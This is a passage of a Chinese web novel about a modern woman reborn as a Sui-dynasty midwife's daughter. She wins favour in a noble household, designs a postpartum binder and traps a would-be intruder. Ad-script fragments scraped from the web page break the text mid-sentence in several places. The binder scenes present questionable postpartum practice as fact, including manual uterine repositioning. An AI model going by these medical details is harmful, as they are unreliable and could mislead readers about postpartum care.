空气中还弥漫着淡淡的药草香和醋酸,晨光透过半掩的雕花木窗,洒在高夫人身上。 她倚靠在床榻上,身后垫着几层松软的锦枕,未施粉黛,面容姿态尊贵又慵懒。 身着一件温和象牙白色的长袍,上面以金线勾勒出祥云纹样,衣襟处还绣着几朵金莲,下摆微微开叉,很是宽松。 身旁候着另外两名大丫鬟,忆梅和袖莲。榻尾还立着两个婆子,高夫人唤她们郑妈妈和周妈妈。 见秋塘带着莫氏母女进来,便对着她们点头淡笑道:“顺娘,终是回来了,我已闻尔等事迹,实乃功德无量啊”。 “夫人谬赞了。”莫母闻言,谦卑低首,携莫婤依礼行拜后,缓步上前,为夫人诊脉。 一番细究后道:“夫人初胎分娩颇费周折,身体耗损非浅,此后务必精心调养,切忌骤然滋补,以免适得其反。” 夫人听罢,频频颔首。 昨日高大人求得高老爷旧交,今晨找来了御医把脉,其所言竟与莫母不谋而合。 字字珠玑,皆中肯綮,让她心中愈发看重莫母。 思绪万千,高夫人同莫母道:“顺娘,能否屈就于府中数日,专司调理之事?若能成为我高府食客,更是吾辈之大幸。” 古代大户人家常招揽才艺出众者,尊称“食客”,这一传统始于先秦,鼎盛于汉唐,直至明清仍有延续③。 古代医学尚未发达,懂得医理药性的医者或修炼养生之道的方士,因其能够治疗疾病或传授长寿秘诀,而成为权贵阶层争相延请的对象。 稳婆与之相似,因而莫母有把握能成为高府食客,摆脱王二的纠缠。 见此邀请,她顺势应了下来。 二人相谈甚欢,莫母同高夫人谈及坐月子期间的诸多事项,高夫人与莫母商议之后将会给予她的待遇。 其间,莫婤静坐一侧,聚精会神聆听二位长辈的对话,尤其对月银的话题格外留心。 然,当她目光不经意间落在高夫人,高高隆起的腹部时,还是没忍住,想了个话术,佯装不解,天真地问道: “夫人为何不束腰以塑形,如此腹部便不会显得这般突出了!” 据莫婤平日里观察,隋朝女性日常穿着较为宽松舒适,但在正式场合已出现了采用束腰塑造身形。 束腰虽多为腰带,但多裹上两圈跟现代的产后收腹带很像。 收腹带不仅能加速腹部肌肉恢复,更能有效预防子宫脱垂,保证脏器归位。 高夫人闻言,轻抚莫婤的花苞头,笑意盈盈道:“束腰太紧了些,我用着喘不上气。” 身旁的大丫鬟袖莲也适时插话,拿起贵妃榻上的腰带道:“夫人一早便试了,实在难受得紧。” 转头抬眸,莫婤瞧见了夫人的束腰,竟是一条精致的皮质束腰,还配了些金珠子、金坠子。 也是她想当然了,大户人家的束腰为凸显贵气,质地坚硬,透气性、舒适性奇差,还不能调节大小,夫人产后肚子需由大到小恢复,用着自是难受。 思及此,她道:“夫人,我有一改良法子。” 她向高夫人求了一块上乘布,质地柔软透气,承诺仅需三日即可制成改良版束腰。 莫母虽欲阻止女儿夸下海口,高夫人却不以为忤,反而温和地宽慰莫母:“无论如何,此物权当作我给小辈的见面礼了。” 莫婤闻言,俏皮撒娇:“若成品满意,夫人必有重赏?。” 高夫人听罢,笑声连连:“定不负你所望,功成之日,重赏加身。” 领导一高兴,就给了更大的许诺,莫婤深感——升职加薪指日可待! 又同莫母聊了一会,高夫人轻启朱唇:“后罩楼中还有一处屋子不错,愿可合心意。” 说罢,便让秋 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 塘与杏雏,引着莫氏母女前往探寻。 穿过重重院落,行至下人院后罩楼,秋塘用一把小巧玲珑的铜钥匙,开了最旁侧的一道门。 莫婤比对旁侧,竟比其他屋子大上一倍,与外墙隔着十来步,角落还有一处连通外街的角门。 母女二人很是满意,同夫人道谢后,便回家收拾东西去了。 念着她们孤儿寡母两人,高夫人便让郑妈妈和另一张妈妈,再挑上两个魁梧的马夫,同莫母一同回去。 夕阳西垂,晚霞如织,将天际染成绚丽的绯红色。 莫氏母女一行人,踏上归程,车辙辗过青石板街,发出悠悠声响。 到了院外,两个婆子同莫母约好明日来接的时辰,就离去了。 莫母目送他们后,便同莫婤回屋收拾东西。 莫家不大,但带了个小院。 院子中安了一套石桌凳,东南角种了颗枣树,树下围了块地,养了些草药和香料,西南角还有口深井。 西边一间房,是个烧火做饭的灶房,屋外支了个棚子堆了好些柴火。 东边一大一小两间房,大间莫婤兄长住,小间是才砌的,准备莫婤大些再住进去。 正屋三间房,一间迎客,一间莫父的木工房,一间卧房,夫妻俩带着莫婤住着。 莫母收拾其他屋子,让莫婤拾掇完自己的东西,将她兄长那屋也整理了: “你哥那些物件,平日间就许你碰,现今也由你收拾了,只都是些值钱玩意,小心些。” 莫婤人小,要带走的也少,多还挂身上,如勃颈上的长命锁,手腕上穿着辟邪珠的红绳。 其他的不过三五身衣物,几张帕子,两个药材香囊,一个父亲做的弹弓。 拾拢完自己的,莫婤乐颠颠地跑进兄长屋寻宝。 屋内布置的很简单,一张靠墙的土炕,除了枕头被褥再无其他。 炕头旁铺了张草席,四角用嵌贝彩陶龟形席镇压着,上面摆了套笔墨纸砚。 隋唐时没有书桌,写字大多都坐在席上,左手执卷,右手执笔,每个笔划间通过不断搓捻转动笔杆来书写。 如唐朝欧阳询的字,方正险绝,笔划转折之处,如斧砍刀削般刚硬,现代人临摹,每每以写到这种位置为苦④。 其实这都是必须捻转笔杆才能写出,可惜这种技艺到书桌流行的宋朝,便大体失传了。 莫婤心中琢磨着,日后定要找个老师,好好学学这门绝活。 草席旁是一个书架子,书架子上书收拢约莫二十来本,多是抄本,字体洒脱刚劲,除了四书五经外,多是些农书、医书。 莫婤大学时去濠江交流学习过一年,对繁体字还算熟悉,辨得竟有《齐民要术》、《神农本草经》、《伤寒杂病论》等典籍。 炕尾一个顶天立地松木柜,里面放了兄长几身衣物,在柜底还找到一套木质弓箭,一把折扇、一套棋具和一个黄花梨的小匣子。 匣子里装了几块碎银子,两枚印章,竟还有一枚蓝田玉佩。 将最贵重的玉佩仔细包好,莫婤拿起印章细细打量。 一枚印章刻着“莫禳”,大约便是兄长的名字;而另一枚刻痕很新,镌着“莫婤”二字。 忽的,鼻头一阵酸楚,她莫名掉下泪来。 5. 酸菜熏鱼面 黄昏时至,天幕缀红。 狭长的巷子两旁,雕花木门半掩,袅袅炊烟从门缝中升起,如同巷子的吐息。 鲜嫩的清蒸鲈鱼,是孙娘子家的;酸甜可口的鱼香茄子,吴大娘院的;韦老爷正烧着羊肉汤锅,春老鸨家的烧鸡香味窜了一整条巷子。 待莫婤磨磨蹭蹭拾掇完时,莫母已经收拾好了其他所有要带走的物件,正在灶房忙活晚膳。 “去院子里,把剩余的茱萸都掐来。”见莫婤收拾完了,莫母吩咐道。 院中种的药材、香料好的都被莫母拾掇了起来,茱萸就剩些歪瓜裂枣,莫婤也不挑了,都摘了下来,还刨了个大蒜和两颗生姜。 拿了个箕畚,将它们都在井旁洗干净切碎后,端着来了灶房给莫母打下手。 莫母洗了条熏鱼,正在炉头上煎鱼。 只听“嗞啦”一声,油锅中的鱼,表面瞬间膨胀起一层酥脆的外壳,还散发着烟熏香。 另一侧,莫婤从泡菜坛子里抓起一把酸菜,切碎。 待煎鱼起锅后,烧旺火,挖了一勺猪油入锅。油化开后,再将生姜、大蒜、茱萸等倒入锅中,煸一煸。 霎时,一阵辛辣之气扑鼻而来。 紧接着将酸菜悉数倾倒,只听“嚓嚓”声响,随着锅铲翻飞,酸菜在滚烫的油锅中翻滚。 当酸味散开来,加水煮面,再放入煎得两面酥脆的熏鱼,左以生抽调味,米醋增香。 最后,面上再撒一把翠绿葱花,酸菜熏鱼面能起锅了。 熏鱼的醇厚,酸菜的爽脆,再加上面条的弹滑,莫婤吃得小肚都鼓了出来。 饭罢,莫母拉着她开始清点家当。 近岁,家中屡遭变故,莫母自己遭遇不测,又思及女儿心智愈发成熟,欲将家中钱财尽数告知。 拉着莫婤盘腿坐于炕床上,她从枕芯里掏出一只红枣酸枝木的钱函。 又从耳珰里抠出一枚极小的钥匙,打开钱函盖子,一股淡淡的樟木香飘散开来。 钱函正中是一枚圆润厚重的银饼,莫婤拿在手上掂了掂,挺压手,莫母说是一百两。 银饼四周是三根银铤,呈长条形,两端微尖,中间浑厚,约莫重量在五十两。 除此外还有些零星碎银,虽不规整,归拢起来也有十两左右。 压于银子下的,是这处的房契,令莫婤讶然的是,竟还有一处偏远郊外庄子的地契。 这庄子是莫母的陪嫁,昔日托付给农夫耕种,租金微薄,却也有一份收成。 奈何去岁这世道就乱了起来,她和莫父都不敢再去那般荒凉之处收租,那处地便再无音讯。 待莫婤细细看完,目光再次回到钱函之际,莫母又掀开了契书下的薄木片,木片下是一个兰花样式的荷包。 解开系带,其中藏匿着一方翡翠玉镯、一枚和田玉玦、一只金镶玉钗与一副珍珠耳环。 这便是莫家全部的家当了,虽不算富硕,但对于寻常百姓而言,已是颇为殷实。须知隋朝时,一家老小整年的开支也不过数十年白银而已。 这些家底皆源于莫母手艺精湛,时常外出接活,早年连死人的活也接,所得红封不断;加之莫父技艺超群,木工活计备受邻里青睐,二者合力,方能积攒至今。 清点完毕后,莫母拿了一个碎银子让莫婤放于荷包中备用,又从另一只耳珰里扣出多一把钥匙藏进了莫婤胸前的长命锁内。 这长命锁内竟然还有能藏东西的暗格,她戴了这么久从未发现,这些都是古人的智慧啊。 将盒子又藏进枕头里,莫母继续在院子中转悠,搜寻可能遗漏之物,唯恐落下丝毫家用。 莫婤坐于炕上,拿出从高夫人处得来的棉布,开始着手做收腹带。 隋朝时,棉花并未普及,人们口中的棉,并不是棉花,而是“木棉”。 木棉是一类天然的纤维,具有较好的透气性和一定的韧性,用它来做收腹带是再好不过了。 莫婤先将木棉布设计成几部分,每部分都可以独立工作,又共同作用于腹部,中间用交叉绑带连接,又缝上了一些结扣。 这些都是调节紧密度的关键,日后高夫人可根据产后恢复情况自行调整,确保最佳的收腹效果而不至于压迫。 她还用木棉絮做了几个垫片,在关键部位如肚脐等位置增加额外衬垫,以吸收汗水、减少摩擦,进一步提升穿着体验。 恰逢其时,莫母踱步归来,见莫婤手中之物,不禁眼前一亮,遂上前仔细端详,试了试后连连称好。 莫母慧眼识珠,还发现美中尚可添彩。 于是,取针引线,一朵朵栩栩如生的牡丹跃然而出,花瓣层叠绽放。随后,她又转向背面,几针飞走,便见莲叶田田,莲花亭亭,清雅脱俗。 两侧巧妙融合莲花与牡丹,编织成独特的宝箱纹样。边缘处,则选用白鹤祥瑞与兽纹交织封边。 莫母在炕上给收腹带做美工,手指翻飞,绣花针穿插跳跃,聚精会神。 此时,莫婤已悄然离开正房,在灶房旁的柴房稻草堆流连多时,直至亥时方才返回正房。 进屋后,她并未停歇,继续在正厅捣鼓,直至亥时二刻,才进来上了炕。 见炕上莫母仍未停下手中活计,恐过度劳累会伤及其身体和眼睛,遂装作困意来袭地劝莫母歇息。 莫母念及女儿方大病初愈,忙熄灯陪着她一道睡了。 月牙高挂,却似乎无力穿透厚重的云层,仅有的光线也被遮蔽得若有若无。 巷弄间,似乎还回荡着细碎的脚步声,还有轻微的喘息。一道人影,撬开莫家大门,闪了进来,却因着夜太黑,不小心踢翻了门口的木桶。 “咚——” 一声低沉地闷响,并不太明显,但本就没有熟睡的莫婤一下便睁开了眼。 她一手轻轻捂住莫母的唇,一手则轻推将她叫醒。 “阿娘,勿要出声,王狗进院子了。”莫婤在莫母旁耳语的声音虽轻,却将莫母吓了个激灵。 说罢,她将褥子堆成人模样,又拉着莫母躲到了床尾原本是放衣物的大木柜里。 进柜子前她还给了莫母一把菜刀和一根擀面杖,自己手短人矮便拿了一把镰刀和一根粗木棍。 “嘎吱——” 正厅的门被轻轻推开,好似在预告危险降临。 “啊——” 还没等莫母作为,便听见王二发出一声撕心裂肺的尖叫,随即连滚带爬地往外跑,仿佛背后有恶鬼追魂锁命。 一路上,慌不择路,撞上了石桌,踢翻了井旁的水桶,又在门槛被绊了一跤,也不敢耽搁,爬起来继续跑。 莫母一头雾水的拉着莫婤出来,点上灯,便瞧见 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 房梁上吊了个稻草人。 这是睡前莫婤为王二准备的大礼,灵感还是来自之前上吊的女尸。 今夜她花了半个时辰,用柴房的稻草模仿人体轮廓做的。 外面还罩上了莫母没收的破旧衣服,为了逼真甚至找春老鸨用喜饼租了顶长假发。 假发搭在前,后面还接了块红布,再用红绸将假女尸吊在横梁上,还在一旁挂了盏过年用剩下的红灯笼。 灯笼前另起一根细绳同样挂了块红布,这根细绳连接至里间,就藏在衣柜里。 莫婤藏进衣柜后便拉起绳子,微弱的光开始显现,她再上下拉绳子,光便渐渐忽明忽暗。 透过昏暗的光,一个模糊的身影缓缓浮现。 长长的发丝凌乱垂落,遮挡了她的面容,披头散发后是一块嫁人时用的红布。 最为诡异的是她项颈处,赫然挂着一条红绸。 伴着推开门而涌进来的风,红绸随风飘荡,王二吓飞了三魂七魄,拼命往外冲。 狼狈逃窜回家后,惊恐之余,越想越觉蹊跷,他打着担心顺娘的幌子,叫上兄长再次踏入莫家小院。 正当兄弟二人跨过门槛之时,一桶寒凉的水便泼了上来。 冬日的井水,寒彻骨髓,见母亲出手了,莫婤便敲起了锣鼓。 一面敲还一面叫到:“抓贼啊,抓贼啊。” 霎时间,左邻右舍都亮起了灯。 王大见事情闹大了,拉着王二就想走,高府的婆子和马夫不知何时出现在了门外,将他们堵了个正着。 “还想跑,我们上,绑了他们,明日一早便去报官。”站在最前头的管事婆子是郑妈妈,她疾言厉色道。 众人听罢,连连点头,挽起袖子准备动手。 “且慢,且慢,众位息怒,我们只是见门没关,来瞧瞧出了何事,可不是贼啊。” 王大见此阵仗巧舌如簧道, “我们可是好心,见官也不怕。” “这门就是你们撬开的啊,给我搜身,我还不信搜不出物证。” 郑妈妈根本不怵,厉声道, “我们这么多人证,还敢耍赖欺负我们高家人。” 王二一听要搜身,心头一凛,他身上不仅有撬锁的铁丝,还有春药啊。 这些东西一旦被搜出来,必死无疑,按照隋朝律法,他会被处以绞刑啊,虽然不是上吊,也是勒脖子,一个死法,殊途同归啊! 拉了拉兄长的袖子,他眼神变得异常焦躁,不断向兄长示意。 “哪个高家?”王大察觉弟弟的目光,他明白弟弟身上定藏了不得了的东西,但这些总有借口开脱,衙门有他的好友,无论如何也能帮弟弟脱罪。 只是这人提到高家,就得重视了。 “自然是东城的高家,我们老爷可是上达天听。” 一旁的张妈妈,高扬下巴,鼻孔看人,蔑视道, “顺娘是我们少夫人最看重的食客,你们仔细掂量。” 闻此,王大心中已有计较,他虽有点人脉,但在高家面前,无异于以卵击石。 于是,他服软道:“小民愚昧,然我等确是出于善意,未料扰顺娘安宁,愿接受合理处置。” 他已经想清楚了,若她们不松口,必要时就放弃这个成事不足败事有余的弟弟,少个包袱,还能多份前程。 6. 酒酿圆子 高府大院中的管事妈妈,各个人精,目光如炬,自是没错过王大一瞬的神情变化,早已将他看破。 见状,郑妈妈清清喉咙,声线似秋水长天,掷地有声道:“若能拿出白银百两,便可救他一命。” 王大闻言,飞速道:“吾弟行事鲁莽,咎由自取。诸位将其送至官衙,乃合乎律法之举,我便先行离去了。” 话音还未落完,只见他身形一转,如同挣笼之兔一般,挤开堵门的众人跑了。 黑夜中,只留下一道模糊的背影,渐行渐远,片刻功夫,便消失无踪。 独留王二呆滞在原地,双眼煞红,死死盯着兄长离去的方向没了动作,似是没想到只一百两就会被至亲放弃。 堵门的高府一行人也没死命的拦王大,只守着一瞧便是主犯的王二。 王二回过神来,涕泗横流,嘶吼骂道:“王大,你狼心狗肺,猪狗不如,你跑回去也会被娘扫地出门,你断子绝孙,不得好死。” 待他骂完,高府一行人作势便要将他捆起来。 他忙从怀中掏出一枚玉扳指道:“此物定值百两白银,求诸位饶我一命!” 然而,周围众人无动于衷,沉默若铁锭,压得他喘不上气。 万般无奈之下,他双膝一弯,重重地跪在地上,一面磕头,一面求饶。 额头磕破了,脚边还流了一滩水,身上散发出一阵骚味。 两位管事妈妈掩鼻而避,望向莫母,示意她自行定夺。 莫母沉吟片刻,终是接过了玉扳指道:“罢了,你走吧,若有下次,必让你死无葬身之地。” 一旁看戏的莫婤,内心还算平静,只暗自盘算这笔买卖还算值,毕竟他爹才赔了一两。 而且王二父母尚在,他们定会对其兄长施压,迫使他出手。她们也没有定王二死罪的铁证,只是扯了高府这面大旗。 放他回去,他定会同他兄长闹,闹得鸡飞狗跳、家宅不宁,陷入无休止的争吵,才是她乐见的结果。 王二之事告一段落,莫母心头却另有波澜,目光流转,看进了女儿的黑眸中。 双眸中似乎藏匿着无数的秘密,定睛细看却仍觉一片澄澈。 “你这小狐狸,倒是说说怎么回事?” 轻俯下身子,指尖轻轻触碰女儿略带婴儿肥的脸颊,那份软糯如同面团,让人放松。 “嘻嘻——”莫婤哼唧一笑道,她缓缓开口,将前因后果娓娓道来。 今晨她们下马时,她便见墙角处有一道人影,猜是王二又来埋伏莫母。只因见如此多人,他不敢冒然现身骚扰,但恐已得知她们即将搬走的消息。 按照王二之前的所作所为,莫婤猜他今晚必会铤而走险。 毕竟要留下莫母,最好的办法就是——生米煮成熟饭。 然,不知他何时会来,莫婤只好同郑妈妈先约好,子时前来抓贼。 只是这般终究不稳妥,无论王二提前还是延后,熟睡中的她们都很被动。 因此,她在墙根、大门口都放了水桶警示,又用柴房里的稻草扎了假人,用它在正房布置了一出上吊女尸吓他。 王二应是一早就来蹲守了,见她们熄了灯,待她们方熟睡,便急不可耐的撬门进来了。 也是古人对鬼神之说甚为笃信,方能将他吓跑,拖至与高府诸事主约定之辰,将其堵个正着。 一旁高府管事们见莫婤,言辞清晰,论据井然,连连颔首,心下对她印象颇佳,皆觉此女慧黠灵秀。 “多谢众位援手,助我伸冤。”莫母携莫婤鞠躬深礼后,又给出去两个荷包和两个布袋。 送别高府一行后,见事终了,莫婤揉惺忪睡眼,催莫母返房歇息。 莫母未动,蹲下身,双臂环抱莫婤,凝视她的双眸,语重心长:“阿丑,若再遇此等事,你一定要告诉我,我们共谋对策,难道阿丑不信阿娘?” 困意朦胧的莫婤一时愕然。 见莫婤愣住,莫母转为紧紧抱住她,柔声道:“阿丑不怕,纵无父兄,阿娘犹在,阿娘定会全力庇护你。” 莫母以为她是受了父兄过世的打击,才这般没安全感,不敢依赖人。 其实,只是莫婤换了芯。 前世她早已成人,再加上父母离异,多数时候都是自己拿主意,已经忘记如何依靠人了。 但她知道莫母是一个很值得信赖的人,她坚韧、果断、自信、聪慧甚至独立。 窝在莫母的怀里,莫婤感觉很是温暖安心,她心中默默道:“我会帮你照顾好她的,她也是我的母亲,我也会多依赖她一些的。” 风吹动院中的树叶,发出沙沙声,似乎是逝去的小莫婤在借风声对她道谢。 …… 曙光初破,天际织锦。 莫母于静谧中醒来,举目望向窗外。 院子中竟铺满了一层薄薄的雪,树枝上也挂着银霜,像往下流的流苏。墙角隔壁院子探过来的寒梅,也穿上了白裙。 云彩淡淡,刚升起的太阳也没甚活力。 裹好衣物,莫母轻步至灶房,炉火将熄,仅余星火微明。她躬身添柴,待火舌复炽后,烧了壶水,用温水和糯米粉。 这糯米粉还是昨日高府的红封,是上好的糯米,磨得细腻,除了半斤糯米面、一筐红鸡蛋还得了十两赏银。 柳府自然也有,是半斤红糖,一包干红枣、一包肉桂和五两赏银。 将糯米粉倒入大碗中,逐渐加温水,同时用手慢慢搅拌,当面团开始成形时,反复揉搓面团,直至表面光滑,内里无颗粒,盖上麻布待用。 做完这些,还未至晨钟,尚余清闲,莫母拿出昨晚未绣完的收腹带,凝神定志,穿针引线,等着莫婤起后一道梳洗。 辰光微移,莫婤于梦中醒来,趴在窗柩上惊呼,在现代她是南方人,这还是她穿后的第一场雪,自是稀奇。 莫母指尖正捻断了最后一根线头,听见响动,搁置好收腹带,朗声道:“烧了热水,自己收拾妥当来吃早食。” 闻言,她抖抖嗖嗖地起身,穿上了炕上娘亲温着的,杏色夹袄短襦,棉裤外套了一条藕粉色外裙,拉至腋下用枣红绸带系好。 颈上还围了一圈兔毛做成的护颈,正中还有个小球球,也不知是不是兔尾巴做成的。 掀开布帘子,进了灶房,从灶台正中的锅里,舀了一勺温着的水,倒在水盆里同莫母一起洗了脸。 莫母用柳枝蘸盐刷牙,她用盐水涮口,再将盐洒在手指头上擦牙。 隋朝的刷牙工具多是用柳枝、竹骨,再配以盐、草木清洁,虽没现代舒适,但亦能洁牙。 只都是大人用, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 像莫婤这种小儿是没有的。 但用手实在不便,不用她心里又膈应的慌,想着搬了家,无论如何也要说服莫母给她整一套牙具。 洗漱完,母女俩一同坐到了铜锅旁。 莫母挑了点猪油,在锅中化开,又舀了一勺酒酿,煸了煸,再加入清水。 待水沸后,撤了些火,一手拿着面团,一手扯下一小块,在手心搓成圆滚滚的小剂子后,丢入锅中。 全都掐入锅中,又添了把火,待圆子浮起后,莫母掰了块红糖,用勺子轻轻搅拌,红糖渐渐融化,汤汁变成了琥珀色。 接着,莫婤还打了两个蛋,沿着锅边缓缓倒入锅中,待鸡蛋熟后就起锅了。 在冬日下雪的早晨,莫家母女俩,一人一碗热腾腾的酒酿圆子。 舀起一勺,软糯的圆子在琥珀汤汁中滚动,一口能包住三四个。 红糖的甘甜与酒酿的微酸,同时在口中化开,还伴着鸡蛋的鲜香,如同秋日的一抹斜阳,温暖而不燥烈。 半斤酒酿圆子,还带着红糖鸡蛋的汤水,对莫氏母女二人来说,还是太多了。 莫母将剩下的都装进温碗中,让莫婤走时抱着,既可以保暖,一会饿了还能再吃。 温碗,又称“暖锅子”,一般是两层,中间留有一定的空隙,在外层底部加入热水或炭火余烬,可长时间保持食物或饮品的温度①,类似于现代的双层保温杯。 收拾完灶房最后一点东西,将要带着的东西全部搬到了院门处。 一箩筐晒干的药材香料,还有些是昨日连根挖出来的,带着泥;一箱产具和药包,每个药包都挂好了种类。 双麻袋中,密纳衣裳与寝具;还有一箱从莫兄房中收拾出来的书卷。 莫母跟张妈妈打听得知高府膳事丰赡,日有三餐,也可用火炉子在院中烹些小食,打打牙祭。 闻言,莫母思虑周详,还是带了火炉子,只是将家中囤积之粟、麦、黍稷等,悉数换成银子,还去了趟油铺,将麻籽都换成了油。 麻籽榨出来的油,历史上又称“胡麻油”。 油灯多是用这个油,它还可调味,可给木器防腐防潮,可给竹简纸张防水,甚至有清热解毒、养血润燥的医用效果②。 余留之粮,不过五斤粉白、五斤大米、三升菽豆、一秤苡仁、半升芝麻。辅以核桃、松子等山珍,再配以枣、桂、莲子诸补益之品,零星杂陈,共聚一方篮筐。 厨中器皿,铜釜陶甑、菜刀砧板,碗碟匙箸、酱醋椒盐,各有所置,最令莫婤稀罕的,是那一瓦罐的猪油。 另附莫家母女一些零碎的东西,如木梳、瓷盏、牙具……混着从莫兄屋收出来的零碎,一起装了一函盒。 莫母随身包裹里,装着藏有钱函的枕头;莫婤肩上的布袋里,收着自己的和从莫兄处寻得的宝贝。 巳时将至,两辆马车缓缓驶入巷子,停靠在莫家小院门前。 门后行囊堆积,俨然成丘,待车夫二人协力搬运,箩筐、篓子、箱子都遂一安置于后面那辆马车的车厢内。 莫母牵着莫婤,一同登上第一辆马车,身旁坐着高府的两名管事妈妈。 辚辚车轮碾压青石铺成的小巷,声声作响,宛如槌敲击编磬的响动。 莫氏母女携手,步入前往高府的漫漫路途。 7. 产后收腹带 辰末巳初,巷陌间尚笼一层薄雾,似水墨未干,晕染于宣纸上。 忽而,一轮金乌从东南山上跃出,其晖如练,照亮玉树琼枝,银装素裹的市井。 抵达高府之际,正值午钟敲响。 莫氏母女只携随身行囊,其余杂物皆交由高府管事悉心安排,遂一送至她们的下人房内。 二人则随郑妈妈回了正院,见高夫人。 高夫人先是关心了莫氏母女一番,见莫婤在一旁眸光闪烁,似有星河藏于眼底,不禁掩唇轻笑:“说罢,小婤又有何妙计?” 言下之意,似乎料定了她脑海中又有了新点子。 闻言,她听出高夫人多半以为上次的改良未能尽善,如今是另辟蹊径了,遂忙从小巧布囊内,取出收腹带。 高夫人接过后,立时被这新奇的设计吸引,尤其是那些巧妙的绑带、结扣。加之莫母生动的刺绣点缀其间,更是锦上添花。 爱不释手之余,高夫人竟迫不及待想要亲身体验,全然不顾收腹带是否需先行洗涤。 侍立一旁的丫鬟婆子见状,自是不敢拂逆主子的意,纷纷围拢过来,欲协助穿戴。 然而,负责服侍穿衣多年的大丫鬟袖莲,此时却面露难色,左右比划几番,还是不知该如何穿戴。 见状,莫婤在郑妈妈的引领下,先净手,随后亲自上前示范。 她先将收腹带平铺在罗汉床上,让夫人平躺上去,调整收腹带的位置,使其三部分分别置于骨盆最宽处和下腹部。 调整好后,让夫人蜷起下肢,她再从外摸到还没复原的子宫,将其往上推,相当于对子宫做一个手动复位,然后让袖莲从下往上将绑带交叉系紧。 如此往复,将下腹部和盆骨处的带子都绑好,三部分间用结扣扣紧连接。 收腹带不只包括腹部,还包括骨盆处。 因为怀孕后妇女的骨盆会慢慢变宽,为生育做准备,收腹带绑在胯部最宽处,不仅能修复骨盆,也能起到防止内脏下垂的作用。 穿戴妥当后,高夫人每日坠坠不爽利的肚子顿感轻松,人也精神了许多,身形虽不至于恢复到怀孕前,但这般也足够见人了。 “夫人,每次穿戴不能多余一个时辰,否则恐有不适。” 莫婤努力回忆着,有关收腹带的注意事项,一字一句,严谨叮嘱, “尤其是饭后、入寝前,务必卸除,以免影响气血畅通。” “好的,小夫子,谨遵教诲。” 莫婤一本正经的模样,逗得一旁的丫鬟婆子忍俊不禁。但高夫人并未因她年幼,就轻视她的提醒,反而郑重地回道。 转而又吩咐身边的忆梅与袖莲:“你等亦须牢记,我们相互提醒,切莫疏忽。” 说罢,高夫人轻抚她的头顶,笑容可掬地问:“小婤想要什么赏赐啊?” “夫人再多等些时日罢,瞧了成效再说。”还未见成效,她也不好意思立刻请赏,便直言婉拒,态度坦率大方,毫无贪念之嫌,显得格外大气。 高夫人本就欣赏不小家子气的性格,闻言,内心愈发赞赏。 而且她近来长了些肉,脸颊渐丰,灵气逼人,惹人怜爱,高夫人瞧着愈发喜欢她。 “忆梅,去把我妆匣内收着的那件,瑞兽银项圈拿来。”高夫人望见她颈间,系挂着一枚精致的银制长命锁,随即对身旁侍女吩咐。 忆梅脚步轻盈,迅速寻到一只首饰盒屉,开启呈递,供高夫人确认。 确认无误后,高夫人温柔拥住莫婤,轻哄道:“瞧瞧,是否合意?” 项圈轻盈,以一根纤细银环为主体,色泽宛如皎洁月光,温润柔和。 在古代工艺中,越是精细的银饰制作难度越大,更何况这般细腻打磨抛光,使其呈现出独特的光泽,无疑价值不菲。 银环上,匠人们巧妙镌刻各式神禽瑞兽,诸如麒麟、九尾狐、麋鹿、毕方等等,无一不栩栩如生,莫婤不禁再次感叹古人卓越的造诣与精湛手艺。 项圈下方是银链围成的半月形状,共有五组,环绕项圈一圈。 月牙弧上,交错穿着珊瑚粉的玛瑙珠与象牙白的珍珠,晶莹剔透,光彩照人。 每两个弯月弧中间还悬着条约一寸长的银细链,共五条。最令人惊艳的是,每条银细链末端悬挂着的吊坠。 每个吊坠樱桃般大小,由樱粉色胭脂玉雕刻而成,形态多样,分别是蟠桃、麋鹿、梅花、竹子、仙鹤,象征着五福临门。 “这些可都是古董啊!”莫婤双眼发亮,心中暗暗尖叫。 高夫人见她显然心动不已,遂转动项圈,将原有象征长寿的蟠桃摘下,代之以她胸前的长命锁。 长命锁朝胸前,给莫婤戴上了,她又将取下来的蟠桃塞回莫婤手上。 因她出生后身子骨不强健,莫母恐她被阎王收了去,特地找人用纯银锻造了这枚长命锁,希望将她留在人间。 锁上还特意找了技艺高超的大师傅,雕了活灵活现的蟠桃和蝙蝠。 此时跟这银项圈一结合,很是相配。 高夫人与莫氏母女共度良久,眼瞧着快到用午膳的时刻了,莫母适时提出告辞,高夫人挺了挺酸涩的腰,点了杏雏伴二人返回下人房。 途中,莫婤嘴甜,求着杏雏带她们绕路熟悉一下高府,以便日后来往无碍。 莫母心细如发,自荷包中掏出一把叮当作响的铜钱,塞进杏雏手中,笑意盈盈,眼中尽是感激。 杏雏跟莫婤还算并肩作战过,本就对她好感颇深。又目睹这对母女深得高夫人青睐,还不失礼数,心中暗赞,毫不犹豫应允。 沿途之上,特意绕行数条隐秘路径,几乎踏遍了日常必经之所。 边行边语,悉心介绍高府概貌。 高府是个四进深宅,还带了个东跨院。 入门之处,乃高府前院,住着高老爷和高大人。然,随着高老爷赴任洮州四品刺史,此地便多是高大人独自住着。 沿中轴线前行,穿过一道精巧的垂花门,便进入了高老夫的正院。院内布局典雅,陈设考究,处处透露高门大户的底蕴。 再往前,第二道垂花门后,则是高夫人的居所,布局、置景无一不精美雅致。 走到底,是仆役们的下人院,院里是一排排后罩楼。 杏雏没有直接引她们入下人院,而是往右又带她们拐进了东跨院。 东跨院精心打造成了一个繁花似锦的园林,曲径通幽,一步一景。 几座小巧的院落错落其间,是高府妾室们的居住之所。 逛完院子,回来的路上杏雏又接着介绍起高府正经主子。 府中的主脉清晰,却也藏着诸多微妙平衡。 “高老爷常年在外,高老夫人,便是这位 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 府中地位最高的。然,她终日吃斋念佛,管家之责全然交付给了高夫人,非大事不得出。” “懂了,那高夫人产子是大事了。就是不知道其他妾室产子是不是大事。”莫婤心中暗自接嘴。 “高大人身边围绕着众多女子,除了一位正室高夫人外,尚有四位妾室以及若干通房丫头。平日间也很是尊重夫人,夫人管理后院任何大小事务,他都不会插手。” “懂了,甩手掌柜,不过不乱插手偏帮还算没完全昏了头。”她在心中继续吐槽道。 